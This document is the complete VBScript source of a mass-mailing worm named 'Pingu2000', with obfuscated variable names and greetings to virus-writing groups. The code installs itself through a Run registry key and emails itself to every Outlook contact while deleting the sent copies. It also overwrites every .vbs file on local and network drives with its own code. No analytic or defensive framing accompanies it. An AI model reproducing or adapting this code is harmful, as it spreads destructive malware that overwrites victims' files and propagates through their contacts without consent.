'Pingu2000 Created By Pingu2000 On Error Resume Next Set znyelclegtn = CreateObject("WScript.Shell") Set qoitojqvnmg= Createobject("scripting.filesystemobject") qoitojqvnmg.copyfile wscript.scriptfullname,qoitojqvnmg.GetSpecialFolder(0)& "\Pingu2000.vbs" znyelclegtn.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Outlook","wscript.exe "&qoitojqvnmg.GetSpecialFolder(0)& "\Outlook.vbs %" if znyelclegtn.regread ("HKCU\software\Pingu2000\mailed") <> "1" then mjsqcnzcagh() end if pzafkhwenxh() ezottsvnkod() Function mjsqcnzcagh() On Error Resume Next Set jjrtuqckgyp = CreateObject("Outlook.Application") If jjrtuqckgyp= "Outlook"Then Set rbprydovohv=jjrtuqckgyp.GetNameSpace("MAPI") For Each gguktmobour In rbprydovohv.AddressLists If gguktmobour.AddressEntries.Count <> 0 Then For aykvhdbhqxi= 1 To gguktmobour.AddressEntries.Count Set bgspefvfimh = gguktmobour.AddressEntries(aykvhdbhqxi) Set xbcbdpswlrr = jjrtuqckgyp.CreateItem(0) xbcbdpswlrr.To = bgspefvfimh.Address xbcbdpswlrr.Subject = "Pingu2000" xbcbdpswlrr.Body = "A new Kernel for Pingu is here..." & vbcrlf & "any thanks to --> Eveul, Dume/SMF, VirusBuster, PlayMan, Mortimer, Ultra's, Matrix and Tom Novy..." xbcbdpswlrr.Attachments.Add qoitojqvnmg.GetSpecialFolder(0)& "\Outlook.vbs" xbcbdpswlrr.DeleteAfterSubmit = True If xbcbdpswlrr.To <> "" Then xbcbdpswlrr.Send znyelclegtn.regwrite "HKCU\software\Pingu2000\mailed", "1"
Z0mbie i miss our New Viruses

29a,,when comes 29a#5 ??
End If Next End If Next end if End Function if month(now) =7 and day(now) =6 then znyelclegtn.run "Http://www.coderz.net",3,false end if Function ezottsvnkod() On Error Resume Next Set zbcylsphyzj = qoitojqvnmg.Drives For Each xahfwdqqdio In zbcylsphyzj If xahfwdqqdio.Drivetype = Remote Then mwlygthmjsk= xahfwdqqdio & "\" Call vntvuziptuz(mwlygthmjsk) ElseIf xahfwdqqdio.IsReady Then mwlygthmjsk= xahfwdqqdio&"\" Call vntvuziptuz(mwlygthmjsk) End If Next End Function Function vntvuziptuz(kiwxorafzpn) Set nmphlowkjrm= qoitojqvnmg.GetFolder(kiwxorafzpn) Set okwlazqkuql= nmphlowkjrm.Files For Each sxpoiiwague In okwlazqkuql if qoitojqvnmg.GetExtensionName(sxpoiiwague.path) = "vbs" then qoitojqvnmg.copyfile wscript.scriptfullname , sxpoiiwague.path , true end if Next Set sxpoiiwague= nmphlowkjrm.SubFolders For Each ugpvpokusev In sxpoiiwague Call vntvuziptuz(ugpvpokusev.path) Next End Function